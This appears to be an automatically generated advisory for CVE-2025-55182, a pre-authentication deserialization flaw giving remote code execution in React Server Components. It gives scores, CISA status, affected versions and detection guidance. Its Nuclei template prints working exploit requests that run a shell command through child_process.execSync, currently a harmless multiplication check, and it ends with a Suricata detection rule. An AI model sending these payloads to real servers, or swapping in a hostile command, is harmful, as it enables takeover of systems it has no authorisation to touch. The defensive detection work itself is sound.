VULNpocalypse

CVE-2025-55182: Meta React Server Components Remote Code Execution Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

Description quoted from the CVE record (assigned by Meta, published 2025-12-03).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-12-05
US federal deadline
2025-12-12
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-15156, CNNVD-202512-393, EDB-52506, EUVD-2025-200983, EUVD-2025-210506, GHSA-8449-9vw6-7mp5, GHSA-9qr9-h5gf-34mp, GHSA-fv66-9v8q-g76r, GHSA-vr6p-vq2p-6j74, SNYK-JS-NEXT-14173355, SNYK-JS-REACTSERVERDOMTURBOPACK-14173287, SNYK-JS-REACTSERVERDOMWEBPACK-14173285

VEDAS cluster: VEDAS:AARDVARKARIOSO

Exploit Observer links 453 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (453)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (34)

Vulnerability databases and vendor advisories (21)

Catalogue entries, not exploit evidence.

2006 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.998
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Yes, since 2025-12-05
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2025-55182 EPSS over time2025-122026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2025-55182 VEDAS over time2025-122026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Meta react-server-dom-webpackfrom 19.0.0 up to and including 19.0.0
from 19.1.0 up to and including 19.1.1
from 19.2.0 up to and including 19.2.0		Not stated
Meta react-server-dom-turbopackfrom 19.0.0 up to and including 19.0.0
from 19.1.0 up to and including 19.1.1
from 19.2.0 up to and including 19.2.0		Not stated
Meta react-server-dom-parcelfrom 19.0.0 up to and including 19.0.0
from 19.1.0 up to and including 19.1.1
from 19.2.0 up to and including 19.2.0		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: facebook react, meta_platforms_inc react, meta_platforms_inc react-server-dom-parcel, meta_platforms_inc react-server-dom-turbopack, meta_platforms_inc react-server-dom-webpack.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

React Server Components - Insecure Deserialization

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom- turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /, POST /); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-55182.yaml
Show the template (84 lines)
yaml
id: CVE-2025-55182

info:
  name: "React Server Components - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0,
    19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-
    turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests
    to Server Function endpoints.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-55182&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=react&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-55182
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev,vuln
variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

      - |
        @timeout 15s
        POST / HTTP/1.1
        Host: {{Hostname}}
        Next-Action: x
        X-Nextjs-Request-Id: {{request-id}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
        X-Nextjs-Html-Request-Id: {{nextjs-html}}

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    stop-at-first-match: true
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')"

CVE-2025-55182.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-55182 React Server Components - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-55182 React Server Components - Insecure Deserialization"; flow:established,to_server; http.request_body; content:"${"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-55182; reference:url,https://www.exploit.observer/?keyword=CVE-2025-55182&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=react&match=exact; sid:1011526; rev:1;)

CVE-2025-55182.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.